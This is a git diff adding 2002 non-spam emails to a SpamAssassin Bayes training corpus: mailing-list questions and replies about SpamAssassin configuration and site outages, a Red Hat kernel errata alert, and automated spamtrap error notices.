out +SA with "real" email. + +:) + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01277.d7a43a4dd78dc466c8808f370ae2b2bb b/bayes/spamham/easy_ham_2/01277.d7a43a4dd78dc466c8808f370ae2b2bb new file mode 100644 index 0000000..5004954 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01277.d7a43a4dd78dc466c8808f370ae2b2bb @@ -0,0 +1,134 @@ +From rhn-admin@rhn.redhat.com Thu Aug 22 10:46:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0FBE643C44 + for ; Thu, 22 Aug 2002 05:45:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:01 +0100 (IST) +Received: from mail.rwc-colo.spamassassin.taint.org (mail.rhn.spamassassin.taint.org + [216.148.218.162]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7M8DiZ31111 for ; Thu, 22 Aug 2002 09:13:44 +0100 +Received: from scripts.rwc-colo.spamassassin.taint.org (scripts.rwc-colo.spamassassin.taint.org + [10.255.16.137]) by mail.rwc-colo.redhat.com (8.9.3/8.9.3) with ESMTP id + EAA05725 for ; Thu, 22 Aug 2002 04:13:49 -0400 +Received: (from root@localhost) by scripts.rwc-colo.spamassassin.taint.org + (8.9.3/8.9.3) id EAA08731; Thu, 22 Aug 2002 04:08:37 -0400 +Date: Thu, 22 Aug 2002 04:08:37 -0400 +Message-Id: <200208220808.EAA08731@scripts.rwc-colo.spamassassin.taint.org> +Content-Type: TEXT/PLAIN; charset=US-ASCII +Errors-To: rhn-bounce+1358455-1917980@rhn.spamassassin.taint.org +From: Red Hat Network Alert +Precedence: first-class +Subject: RHN Errata Alert: New kernel update available, fixes i810 video oops, several security issues +To: spamassassin.taint.org +X-RHN-Email: +X-RHN-Info: Autogenerated mail for spamassassin.taint.org +X-RHN-Login: spamassassin.taint.org + + +Red Hat Network has determined that the following advisory is applicable to +one or more of the systems you have registered: + +Complete information about this errata can be found at the following location: + https://rhn.redhat.com/network/errata/errata_details.pxt?eid=1159 + +Security Advisory - RHSA-2002:158-09 +------------------------------------------------------------------------------ +Summary: +New kernel update available, fixes i810 video oops, several security issues + +Updated kernel packages are now available which fix an oops in the i810 3D +kernel code. This kernel update also fixes a difficult to trigger race in +the dcache (filesystem cache) code, as well as some potential security +holes, although we are not currently aware of any exploits. + +Description: +The 2.4.18-5 kernel introduced some safety checks in the VM subsystem that +were triggered when exiting an X session while using 3D acceleration with +the Intel i810/i815 chipset. Additionally, there was a difficult to trigger +race in the dcache of the file system subsystem. + +This kernel update addresses both of these issues. + +In addition, there are fixes for potential security holes in the following +drivers: + +stradis +rio500 +se401 +usbvideo +apm + +Finally, this kernel fixes a few files in the /proc file system which had +the capability to expose kernel memory when abused. + +All of the security issues found during an audit and none of them, at the +time of this writing, have any known exploits. + +We would like to thank Silvio Cesare, Stas Sergeev, Andi Kleen, Solar +Designer, and others for their auditing work. + +References: +http://www.thefreeworld.net/non-US/ +------------------------------------------------------------------------------ + +------------- +Taking Action +------------- +You may address the issues outlined in this advisory in two ways: + + - select your server name by clicking on its name from the list + available at the following location, and then schedule an + errata update for it: + https://rhn.redhat.com/network/systemlist/system_list.pxt + + - run the Update Agent on each affected server. + + +--------------------------------- +Changing Notification Preferences +--------------------------------- +To enable/disable your Errata Alert preferences globally please log in to RHN +and navigate from "Your RHN" / "Your Account" to the "Preferences" tab. + + URL: https://rhn.spamassassin.taint.org/network/my_account/my_prefs.pxt + +You can also enable/disable notification on a per system basis by selecting an +individual system from the "Systems List". From the individual system view +click the "Details" tab. + + +--------------------- +Affected Systems List +--------------------- +This Errata Advisory may apply to the systems listed below. If you know that +this errata does not apply to a system listed, it might be possible that the +package profile for that server is out of date. In that case you should run +'up2date -p' as root on the system in question to refresh your software profile. + +There is 1 affected system registered in 'Your RHN' (only systems for +which you have explicitly enabled Errata Alerts are shown). + +Release Arch Profile Name +-------- -------- ------------ +7.3 i686 jalapeno + + +The Red Hat Network Team + +This message is being sent by Red Hat Network Alert to: + RHN user login: spamassassin.taint.org + Email address on file: + +If you lost your RHN password, you can use the information above to +retrieve it by email from the following address: + https://rhn.redhat.com/forgot_password.pxt + +To cancel these notices, go to: + https://rhn.redhat.com/oo.pxt?uid=1358455&oid=1917980 + + + + diff --git a/bayes/spamham/easy_ham_2/01278.9db3c9972ed9e4e526010fff5d8e690f b/bayes/spamham/easy_ham_2/01278.9db3c9972ed9e4e526010fff5d8e690f new file mode 100644 index 0000000..04cd0b7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01278.9db3c9972ed9e4e526010fff5d8e690f @@ -0,0 +1,20 @@ +From mail@dogma.slashnull.org Mon Jul 22 17:22:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A54C6440C8 + for ; Mon, 22 Jul 2002 12:22:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:22:54 +0100 (IST) +Received: (from mail@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g6MFHQi02159 for jm@jmason.org; Mon, 22 Jul 2002 16:17:26 +0100 +Date: Mon, 22 Jul 2002 16:17:26 +0100 +From: mail +Message-Id: <200207221517.g6MFHQi02159@dogma.slashnull.org> +To: undisclosed-recipients:; + +Problem with spamtrap +/home/yyyy/lib/spamtrap.sh: /home/yyyy/ftp/spamassassin/spamassassin: No such file or directory + + diff --git a/bayes/spamham/easy_ham_2/01279.36814a9e06b97502d59ec36a27a2adcc b/bayes/spamham/easy_ham_2/01279.36814a9e06b97502d59ec36a27a2adcc new file mode 100644 index 0000000..e359e5a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01279.36814a9e06b97502d59ec36a27a2adcc @@ -0,0 +1,20 @@ +From mail@dogma.slashnull.org Mon Jul 22 17:23:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7C1A3440C9 + for ; Mon, 22 Jul 2002 12:23:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:23:24 +0100 (IST) +Received: (from mail@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g6MFGvM01768 for jm@jmason.org; Mon, 22 Jul 2002 16:16:57 +0100 +Date: Mon, 22 Jul 2002 16:16:57 +0100 +From: mail +Message-Id: <200207221516.g6MFGvM01768@dogma.slashnull.org> +To: undisclosed-recipients:; + +Problem with spamtrap +/home/yyyy/lib/spamtrap.sh: /home/yyyy/ftp/spamassassin/spamassassin: No such file or directory + + diff --git a/bayes/spamham/easy_ham_2/01280.0a571b09b3344b0531a16339499b5a06 b/bayes/spamham/easy_ham_2/01280.0a571b09b3344b0531a16339499b5a06 new file mode 100644 index 0000000..f561e12 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01280.0a571b09b3344b0531a16339499b5a06 @@ -0,0 +1,20 @@ +From mail@dogma.slashnull.org Mon Jul 22 17:23:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2E3A0440C8 + for ; Mon, 22 Jul 2002 12:23:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:23:55 +0100 (IST) +Received: (from mail@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g6MFGl401665 for jm@jmason.org; Mon, 22 Jul 2002 16:16:47 +0100 +Date: Mon, 22 Jul 2002 16:16:47 +0100 +From: mail +Message-Id: <200207221516.g6MFGl401665@dogma.slashnull.org> +To: undisclosed-recipients:; + +Problem with spamtrap +/home/yyyy/lib/spamtrap.sh: /home/yyyy/ftp/spamassassin/spamassassin: No such file or directory + + diff --git a/bayes/spamham/easy_ham_2/01281.c6dc8af12840f7e67f50ed2346e204de b/bayes/spamham/easy_ham_2/01281.c6dc8af12840f7e67f50ed2346e204de new file mode 100644 index 0000000..3bc2c3c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01281.c6dc8af12840f7e67f50ed2346e204de @@ -0,0 +1,88 @@ +From msquadrat.nospamplease@gmx.net Mon Jul 22 18:22:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2E843440C8 + for ; Mon, 22 Jul 2002 13:22:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhbI08581 for + ; Mon, 22 Jul 2002 16:43:37 +0100 +Received: from mailc0911.dte2k.de (mail.t-intra.de [62.156.147.75]) by + webnote.net (8.9.3/8.9.3) with ESMTP id IAA30702 for ; + Mon, 22 Jul 2002 08:28:49 +0100 +Received: from mailc0909.dte2k.de ([10.50.185.9]) by mailc0911.dte2k.de + with Microsoft SMTPSVC(5.0.2195.4453); Mon, 22 Jul 2002 09:27:21 +0200 +Received: from nebukadnezar.msquadrat.de ([62.226.214.7]) by + mailc0909.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); Mon, + 22 Jul 2002 09:27:21 +0200 +Received: from otherland (otherland.msquadrat.de [10.10.10.10]) by + nebukadnezar.msquadrat.de (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id + E8034413E; Mon, 22 Jul 2002 09:28:07 +0200 (CEST) +Content-Type: text/plain; charset="iso-8859-1" +From: "Malte S. Stretz" +To: SpamAssassin Talk ML +Subject: Re: [SAtalk] http://www.spamassassin.org +Date: Mon, 22 Jul 2002 09:30:41 +0200 +User-Agent: KMail/1.4.1 +References: +In-Reply-To: +Cc: Justin Mason +X-Accept-Language: de, en +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207220930.41698@malte.stretz.eu.org> +X-Originalarrivaltime: 22 Jul 2002 07:27:21.0390 (UTC) FILETIME=[378D14E0:01C23151] + +On Monday 22 July 2002 07:00 CET John Rudd wrote: +> On Sunday, July 21, 2002, at 08:30 , Bob Proulx wrote: +> > > http://www.spamassassin.org +> > > Is anyone besides me having problems getting to the site? + +Jepp. The same is true for Justin's private page jmason.org. traceroutes to +both these servers die at the same point: +| mss@otherland:~> /usr/sbin/traceroute spamassassin.org +| traceroute to spamassassin.org (212.17.35.15), 30 hops max, 40 byte +| packets +| 1 nebukadnezar.msquadrat.de (10.10.1.111) 9 ms 1 ms 1 ms +| 2 212.185.255.161 (212.185.255.161) 54 ms 54 ms 55 ms +| 3 212.185.255.162 (212.185.255.162) 55 ms 54 ms 55 ms +| 4 F-gw13.F.NET.DTAG.DE (62.154.18.46) 63 ms 62 ms 62 ms +| 5 rt007ffm.de.vianw.net (194.231.40.201) 63 ms 62 ms 61 ms +| 6 r1ffm.vianw.net (213.2.254.45) 62 ms 63 ms 62 ms +| 7 r2ffm.vianw.net (213.2.254.42) 63 ms 63 ms 63 ms +| 8 +There're probably some problems with Justin's webserver; I'm shure he's +already looking into this as it affects his own website, too :o) + +> > What site is that one? Isn't this site on sourceforge the official +> > home page? +> > +> > http://spamassassin.sourceforge.net/ + +spamassassin.sf.net is the US mirror, also accessible through +us.spamassassin.org. + +> They appear to be the same page, but until recently I could get to the +> www. spamassassin.org one, but it hasn't been responsive the last couple +> days. + +For me it worked until yesterday or the day before. + +> But then, I also haven't been able to get anyone to answer my questions +> about user_prefs files (not the one from earlier today, but from a couple +> days ago). + +About this question: No, that's currently not possible. But I was thinking +about implementing a feature like this; it might be in the next release. + +Malte + +-- +-- Coding is art. +-- + + + diff --git a/bayes/spamham/easy_ham_2/01282.952f95a3f941d49789fe39085ae3734b b/bayes/spamham/easy_ham_2/01282.952f95a3f941d49789fe39085ae3734b new file mode 100644 index 0000000..7fe3987 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01282.952f95a3f941d49789fe39085ae3734b @@ -0,0 +1,89 @@ +From spamassassin-devel-admin@lists.sourceforge.net Mon Jul 22 18:21:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E3A7440C8 + for ; Mon, 22 Jul 2002 13:21:43 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:21:43 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFFR900877 for + ; Mon, 22 Jul 2002 16:15:27 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id QAA32622 for + ; Mon, 22 Jul 2002 16:05:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WegM-0005Fm-00; Mon, + 22 Jul 2002 08:01:06 -0700 +Received: from moon.campus.luth.se ([130.240.202.158]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17Wefp-0006bz-00 for + ; Mon, 22 Jul 2002 08:00:34 + -0700 +Received: from moon.campus.luth.se (tony@moon.campus.luth.se + [130.240.202.158]) by moon.campus.luth.se (8.12.3/8.12.3) with ESMTP id + g6MF0IZl010648; Mon, 22 Jul 2002 17:00:18 +0200 (CEST) (envelope-from + tony@svanstrom.com) +From: "Tony L. Svanstrom" +X-X-Sender: tony@moon.campus.luth.se +To: Marc Perkel +Cc: spamassassin-devel@example.sourceforge.net +Subject: Re: [SAdev] Spam added to regular email +In-Reply-To: <3D3C12DE.3070802@perkel.com> +Message-Id: <20020722165632.W10232-100000@moon.campus.luth.se> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 17:00:18 +0200 (CEST) +Date: Mon, 22 Jul 2002 17:00:18 +0200 (CEST) + +On Mon, 22 Jul 2002 the voices made Marc Perkel write: + +> I've been working on adding low scoring spam messages to my spam corpus +> which means I'm tapping email that scores 5-18 points now and hand +> sorting it. Some of these messages are newsletters and other mail that's +> not spam - but they contain an ad for something that is spam. +> +> So - I don't see how I can classify these messages because catching spam +> within a newsletter or yahoo message is not a false positive. + + I don't really see the problem... either the whole message is unwanted spam +which you, one way or another, didn't agree to reciving, or it's something that +you, one way or another, said that you'd accept... If you said you'd accept it, +like mailinglists, then it isn't spam and shouldn't be caught as spam, no +matter if there's ads in it or not... + + + /Tony +-- +# Per scientiam ad libertatem! // Through knowledge towards freedom! # +# Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # + + perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01283.6e24c23f56e6a4bfd0f06e9884dfbe0c b/bayes/spamham/easy_ham_2/01283.6e24c23f56e6a4bfd0f06e9884dfbe0c new file mode 100644 index 0000000..f033e20 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01283.6e24c23f56e6a4bfd0f06e9884dfbe0c @@ -0,0 +1,153 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:21:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38FDF440C9 + for ; Mon, 22 Jul 2002 13:21:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:21:49 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFG0901260 for + ; Mon, 22 Jul 2002 16:16:00 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id QAA32607 for + ; Mon, 22 Jul 2002 16:04:04 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WegI-0005Dz-00; Mon, + 22 Jul 2002 08:01:02 -0700 +Received: from ns2.wananchi.com ([62.8.64.4]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17WefC-0006Vm-00 for + ; Mon, 22 Jul 2002 07:59:57 -0700 +Received: from wash by ns2.wananchi.com with local (Exim 3.36 #1 + (FreeBSD)) id 17Weco-000GDd-00 for + ; Mon, 22 Jul 2002 17:57:26 +0300 +From: Odhiambo Washington +To: spamassassin-talk@example.sourceforge.net +Message-Id: <20020722145726.GZ39585@ns2.wananchi.com> +Mail-Followup-To: Odhiambo Washington , + spamassassin-talk@lists.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Disclaimer: Any views expressed in this message,where not explicitly + attributed otherwise, are mine alone!. +X-Fortune: People need good lies. There are too many bad ones. -- Bokonon, + "Cat's Cradle" by Kurt Vonnegut, Jr. +X-Operating-System: FreeBSD 4.5-STABLE i386 +X-Best-Window-Manager: Blackbox +X-Designation: Systems Administrator, Wananchi Online Ltd. +X-Location: Nairobi, KE, East Africa. +X-Uptime: 5:46PM up 49 days, 8:31, 3 users, load averages: 1.04, 1.03, 1.06 +Subject: [SAtalk] Personal/Site-Wide SA Glitch (Spamassassin+Exim) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 17:57:26 +0300 +Date: Mon, 22 Jul 2002 17:57:26 +0300 + +Hello People, + +I am new to SA but (2) problems I do have. + +I run SA from my own home for personal use and it seems to work but I see this +in my procmail log: + + + +procmail: Executing " ~/bin/SpamAssassin/spamassassin -P -c ~/bin/SpamAssassin/rules" +dccproc: not found +dccproc: not found + + +Can someone enlighten me on why I get that? FreeBSD 4.6-STABLE, SA-2.3.0 + + + +Secondly, I've tested (now on Three boxes) SA for site-wide usage but I believe I am +missing something major because I've also had my setting checked/verified. + +The problem is that the site-wide setup does NOT seem to work. Why? + +1. I have my local.cf in /etc/mail/spamassassin +2. I have spamd running, and mail delivery logs show that all e-mails are + being passed thro SA. + +My local.cf contains: + +ENABLED=1 +OPTIONS="-F 0" + +# +rewrite_subject 0 +report_header 1 +defang_mime 0 +required_hits 7.0 +report_header 1 +use_terse_report 1 +subject_tag **SPAM** + + + +wash ('tty') ~ 337 -> exim -bt engingwarez@runjiri.co.ke +eng.ngware@runji.co.ke + deliver to enginngware in domain runjiri.co.ke + director = spamcheck_director, transport = spamcheck + + +However when I check the mail delivered to this mailbox, SA has _not_ added any headers +to it. + +PERTINENT: I also run a Virus Scanner called DRWEB via Exim's system filter and the rules +that I have applied are: + +if not first_delivery or + $received_protocol is "drweb-scanned" or + $received_protocol is "spam-scanned" +then + finish +endif + + +Some enlightenment would bail me out, I believe. + +Thanks + + + +-Wash + +-- +Odhiambo Washington "The box said 'Requires +Wananchi Online Ltd. www.wananchi.com Windows 95, NT, or better,' +Tel: 254 2 313985-9 Fax: 254 2 313922 so I installed FreeBSD." +GSM: 254 72 743 223 GSM: 254 733 744 121 This sig is McQ! :-) + + +"We demand rigidly defined areas of doubt and uncertainty!" + -- Vroomfondel + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01284.d66303890ebecd4423489414ca3d3b6e b/bayes/spamham/easy_ham_2/01284.d66303890ebecd4423489414ca3d3b6e new file mode 100644 index 0000000..3fc9c8d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01284.d66303890ebecd4423489414ca3d3b6e @@ -0,0 +1,116 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:22:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6096C440C8 + for ; Mon, 22 Jul 2002 13:22:03 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:03 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkII09992 for + ; Mon, 22 Jul 2002 16:46:18 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id CAA29605 for + ; Mon, 22 Jul 2002 02:15:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WRlz-0004Od-00; Sun, + 21 Jul 2002 18:14:03 -0700 +Received: from triffid.platypus.net.au ([203.109.181.102]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WRlA-0005hw-00 for ; + Sun, 21 Jul 2002 18:13:12 -0700 +Received: from amavis by triffid.platypus.net.au with scanned-ok (Exim + 3.34 #1 (Debian)) id 17WRnK-0005xt-00 for + ; Mon, 22 Jul 2002 11:15:26 +1000 +Received: from christo-sat.platypus.net.au ([203.109.181.150]) by + triffid.platypus.net.au with smtp (Exim 3.34 #1 (Debian)) id + 17WRnH-0005xk-00 for ; + Mon, 22 Jul 2002 11:15:23 +1000 +Received: by christo-sat.platypus.net.au with Microsoft Mail id + <01C23170.BC5A06F0@christo-sat.platypus.net.au>; Mon, 22 Jul 2002 11:12:58 + +1000 +Message-Id: <01C23170.BC5A06F0@christo-sat.platypus.net.au> +From: Chris Goh +To: "spamassassin-talk@example.sourceforge.net" +Subject: RE: [SAtalk] user_perfs +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Virus-Scanned: by AMaViS perl-11 +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 11:12:57 +1000 +Date: Mon, 22 Jul 2002 11:12:57 +1000 + +Hi.... + +If you havent already, spamd has to be restarted. + +Cheers + + +-----Original Message----- +From: James D. Stallings [SMTP:jdstallings@ureach.com] +Sent: Monday, July 22, 2002 10:52 AM +To: spamassassin-talk@lists.sourceforge.net +Subject: [SAtalk] user_perfs + + +I am having troubles setting up the User_Perfs file and I know it is reading them, +cause if I change the score value it works based on the changes. My questions has +to do with allowing certain domains not to be scanned for spam for a certain mbox. I +can not get to the spamassassin.org site to check. + +Question: + +Is this the correct way to code it? + +# Whitelist and blacklist addresses are now file-glob-style patterns, so +# "friend@somewhere.com", "*@isp.com", or "*.domain.net" will all work. +whitelist_from *@freelotto.com +whitelist_from *@luckysurf.com + +Thanks!! +Jim + + +________________________________________________ +Get your own "800" number +Voicemail, fax, email, and a lot more +http://www.ureach.com/reg/tag + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01285.d0d97662f93c959244325cc414f96039 b/bayes/spamham/easy_ham_2/01285.d0d97662f93c959244325cc414f96039 new file mode 100644 index 0000000..672f8a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01285.d0d97662f93c959244325cc414f96039 @@ -0,0 +1,98 @@ +From spamassassin-talk-admin@lists.sourceforge.net Mon Jul 22 18:22:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2E595440C9 + for ; Mon, 22 Jul 2002 13:22:09 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:22:09 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFjnI09679 for + ; Mon, 22 Jul 2002 16:45:49 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id EAA30067 for + ; Mon, 22 Jul 2002 04:32:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WTuZ-0005ZE-00; Sun, + 21 Jul 2002 20:31:03 -0700 +Received: from joseki.proulx.com ([216.17.153.58]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WTuJ-0007cm-00 for ; + Sun, 21 Jul 2002 20:30:47 -0700 +Received: from misery.proulx.com (misery.proulx.com [192.168.1.108]) by + joseki.proulx.com (Postfix) with ESMTP id 7125D14B12 for + ; Sun, 21 Jul 2002 21:30:39 -0600 + (MDT) +Received: by misery.proulx.com (Postfix, from userid 1000) id 16F08A8335; + Sun, 21 Jul 2002 21:30:39 -0600 (MDT) +To: spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] http://www.spamassassin.org +Message-Id: <20020722033039.GA11690@misery.proulx.com> +Mail-Followup-To: spamassassin-talk@example.sourceforge.net +References: <200207220049.UAA11347@www22.ureach.com> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="4Ckj6UjgE2iN1+kY" +Content-Disposition: inline +In-Reply-To: <200207220049.UAA11347@www22.ureach.com> +User-Agent: Mutt/1.4i +From: bob@proulx.com (Bob Proulx) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 21:30:39 -0600 +Date: Sun, 21 Jul 2002 21:30:39 -0600 + + +--4Ckj6UjgE2iN1+kY +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline + +> http://www.spamassassin.org +> Is anyone besides me having problems getting to 